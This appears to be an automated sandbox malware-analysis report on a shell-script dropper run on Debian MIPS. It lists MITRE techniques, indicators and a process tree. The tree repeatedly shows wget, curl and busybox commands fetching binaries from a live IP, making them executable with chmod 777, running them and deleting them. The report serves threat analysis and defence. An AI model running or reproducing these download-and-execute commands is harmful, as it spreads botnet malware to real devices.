90cc63944058f1b1b2f5b40dc1288529dbff2e75e76381b2a35de21c4fabc5c3

Analysis

max time kernel
76s
max time network
74s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
29/10/2024, 02:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
90cc63944058f1b1b2f5b40dc1288529dbff2e75e76381b2a35de21c4fabc5c3.sh
Size 10KB
Sample241029-c6vxza1lan
SHA256 90cc63944058f1b1b2f5b40dc1288529dbff2e75e76381b2a35de21c4fabc5c3
MD5 05676d582a06a0b7302060800ad72ef0
SHA1 c8fe43d797cdc8390adbf73e026c2cc0c5d81757
SHA512 3101d43946e54581dc59839ccf2376ef12db901a62a51c48eb2aa6d957661cd13b39a1067645b9cf5f5fded5df5b641f80b3d58370ca805ad4c04123de0419b7
SSDEEP 192:4yEZu5+szPApp5UQ9Xk8lzPApp5UQ9Xk8Mg:4yEZucBUQ9Xk8UUQ9Xk8L
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
796	chmod
892	chmod
922	chmod
934	chmod
742	chmod
748	chmod
863	chmod
910	chmod
928	chmod
964	chmod
769	chmod
940	chmod
823	chmod
916	chmod
982	chmod
886	chmod
898	chmod
904	chmod
976	chmod
835	chmod
880	chmod
946	chmod
958	chmod
754	chmod
817	chmod
874	chmod
952	chmod
970	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
931	wget
932	curl
935	tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
883	wget
885	busybox
888	rm
936	rm
884	curl
887	tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
933	busybox

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd	curl
File opened for modification	/tmp/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r	curl
File opened for modification	/tmp/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR	curl
File opened for modification	/tmp/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF	curl
File opened for modification	/tmp/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA	curl
File opened for modification	/tmp/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI	curl
File opened for modification	/tmp/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS	curl
File opened for modification	/tmp/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA	curl
File opened for modification	/tmp/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD	curl
File opened for modification	/tmp/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI	curl
File opened for modification	/tmp/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2	curl
File opened for modification	/tmp/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq	curl
File opened for modification	/tmp/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq	curl
File opened for modification	/tmp/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2	curl
File opened for modification	/tmp/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd	curl
File opened for modification	/tmp/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73	curl
File opened for modification	/tmp/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz	curl
File opened for modification	/tmp/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7	curl
File opened for modification	/tmp/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73	curl
File opened for modification	/tmp/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7	curl
File opened for modification	/tmp/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS	curl
File opened for modification	/tmp/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD	curl
File opened for modification	/tmp/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF	curl
File opened for modification	/tmp/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR	curl
File opened for modification	/tmp/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz	curl
File opened for modification	/tmp/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3	curl
File opened for modification	/tmp/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r	curl
File opened for modification	/tmp/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3	curl

/tmp/90cc63944058f1b1b2f5b40dc1288529dbff2e75e76381b2a35de21c4fabc5c3.sh
/tmp/90cc63944058f1b1b2f5b40dc1288529dbff2e75e76381b2a35de21c4fabc5c3.sh
1⤵
PID:710
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:713
- /usr/bin/wget
  wget http://87.120.84.230/bins/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  PID:715
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:731
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  PID:740
- /bin/chmod
  chmod 777 EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  ./EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  - Executes dropped EXE
  PID:743
- /bin/rm
  rm EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  PID:744
- /usr/bin/wget
  wget http://87.120.84.230/bins/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  PID:745
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:746
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  PID:747
- /bin/chmod
  chmod 777 TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  ./TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  - Executes dropped EXE
  PID:749
- /bin/rm
  rm TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  PID:750
- /usr/bin/wget
  wget http://87.120.84.230/bins/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  PID:751
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:752
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  PID:753
- /bin/chmod
  chmod 777 ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  ./ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  - Executes dropped EXE
  PID:755
- /bin/rm
  rm ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  PID:756
- /usr/bin/wget
  wget http://87.120.84.230/bins/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  PID:757
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  PID:765
- /bin/chmod
  chmod 777 ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  ./ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  - Executes dropped EXE
  PID:770
- /bin/rm
  rm ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  PID:773
- /usr/bin/wget
  wget http://87.120.84.230/bins/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  PID:775
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:782
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  PID:790
- /bin/chmod
  chmod 777 5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  ./5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  - Executes dropped EXE
  PID:797
- /bin/rm
  rm 5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  PID:800
- /usr/bin/wget
  wget http://87.120.84.230/bins/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  PID:802
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:811
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  PID:816
- /bin/chmod
  chmod 777 XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  ./XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  - Executes dropped EXE
  PID:818
- /bin/rm
  rm XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  PID:819
- /usr/bin/wget
  wget http://87.120.84.230/bins/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  PID:820
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  PID:822
- /bin/chmod
  chmod 777 AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  ./AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  - Executes dropped EXE
  PID:824
- /bin/rm
  rm AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  PID:825
- /usr/bin/wget
  wget http://87.120.84.230/bins/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  PID:826
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:827
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  PID:831
- /bin/chmod
  chmod 777 kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  ./kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  - Executes dropped EXE
  PID:837
- /bin/rm
  rm kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  PID:840
- /usr/bin/wget
  wget http://87.120.84.230/bins/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  PID:841
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:848
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  PID:857
- /bin/chmod
  chmod 777 CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  ./CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  - Executes dropped EXE
  PID:864
- /bin/rm
  rm CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  PID:867
- /usr/bin/wget
  wget http://87.120.84.230/bins/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:872
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  PID:873
- /bin/chmod
  chmod 777 HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  ./HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  - Executes dropped EXE
  PID:875
- /bin/rm
  rm HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  PID:876
- /usr/bin/wget
  wget http://87.120.84.230/bins/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  PID:877
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:878
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  PID:879
- /bin/chmod
  chmod 777 UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  ./UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  - Executes dropped EXE
  PID:881
- /bin/rm
  rm UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  PID:882
- /usr/bin/wget
  wget http://87.120.84.230/bins/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - System Network Configuration Discovery
  PID:883
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:884
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - System Network Configuration Discovery
  PID:885
- /bin/chmod
  chmod 777 tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  ./tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:887
- /bin/rm
  rm tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - System Network Configuration Discovery
  PID:888
- /usr/bin/wget
  wget http://87.120.84.230/bins/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  PID:889
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  PID:891
- /bin/chmod
  chmod 777 XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  ./XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  - Executes dropped EXE
  PID:893
- /bin/rm
  rm XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  PID:894
- /usr/bin/wget
  wget http://87.120.84.230/bins/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  PID:895
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:896
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  PID:897
- /bin/chmod
  chmod 777 NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  ./NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  - Executes dropped EXE
  PID:899
- /bin/rm
  rm NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  PID:900
- /usr/bin/wget
  wget http://87.120.84.230/bins/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  PID:901
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  PID:903
- /bin/chmod
  chmod 777 5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  ./5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  - Executes dropped EXE
  PID:905
- /bin/rm
  rm 5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  PID:906
- /usr/bin/wget
  wget http://87.120.84.230/bins/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  PID:907
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:908
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  PID:909
- /bin/chmod
  chmod 777 XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  ./XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  - Executes dropped EXE
  PID:911
- /bin/rm
  rm XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  PID:912
- /usr/bin/wget
  wget http://87.120.84.230/bins/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  PID:913
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:914
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  PID:915
- /bin/chmod
  chmod 777 ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  - File and Directory Permissions Modification
  PID:916
- /tmp/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  ./ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  - Executes dropped EXE
  PID:917
- /bin/rm
  rm ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  PID:918
- /usr/bin/wget
  wget http://87.120.84.230/bins/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  PID:919
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:920
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  PID:921
- /bin/chmod
  chmod 777 HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  - File and Directory Permissions Modification
  PID:922
- /tmp/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  ./HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  - Executes dropped EXE
  PID:923
- /bin/rm
  rm HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  PID:924
- /usr/bin/wget
  wget http://87.120.84.230/bins/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  PID:925
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:926
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  PID:927
- /bin/chmod
  chmod 777 UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  - File and Directory Permissions Modification
  PID:928
- /tmp/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  ./UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  - Executes dropped EXE
  PID:929
- /bin/rm
  rm UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  PID:930
- /usr/bin/wget
  wget http://87.120.84.230/bins/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - System Network Configuration Discovery
  PID:931
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:932
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - System Network Configuration Discovery
  PID:933
- /bin/chmod
  chmod 777 tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - File and Directory Permissions Modification
  PID:934
- /tmp/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  ./tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:935
- /bin/rm
  rm tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - System Network Configuration Discovery
  PID:936
- /usr/bin/wget
  wget http://87.120.84.230/bins/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  PID:937
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:938
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  PID:939
- /bin/chmod
  chmod 777 XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  - File and Directory Permissions Modification
  PID:940
- /tmp/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  ./XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  - Executes dropped EXE
  PID:941
- /bin/rm
  rm XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  PID:942
- /usr/bin/wget
  wget http://87.120.84.230/bins/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  PID:943
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:944
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  PID:945
- /bin/chmod
  chmod 777 NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  - File and Directory Permissions Modification
  PID:946
- /tmp/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  ./NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  - Executes dropped EXE
  PID:947
- /bin/rm
  rm NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  PID:948
- /usr/bin/wget
  wget http://87.120.84.230/bins/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  PID:949
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:950
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  PID:951
- /bin/chmod
  chmod 777 AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  - File and Directory Permissions Modification
  PID:952
- /tmp/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  ./AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  - Executes dropped EXE
  PID:953
- /bin/rm
  rm AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  PID:954
- /usr/bin/wget
  wget http://87.120.84.230/bins/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  PID:955
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:956
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  PID:957
- /bin/chmod
  chmod 777 kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  - File and Directory Permissions Modification
  PID:958
- /tmp/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
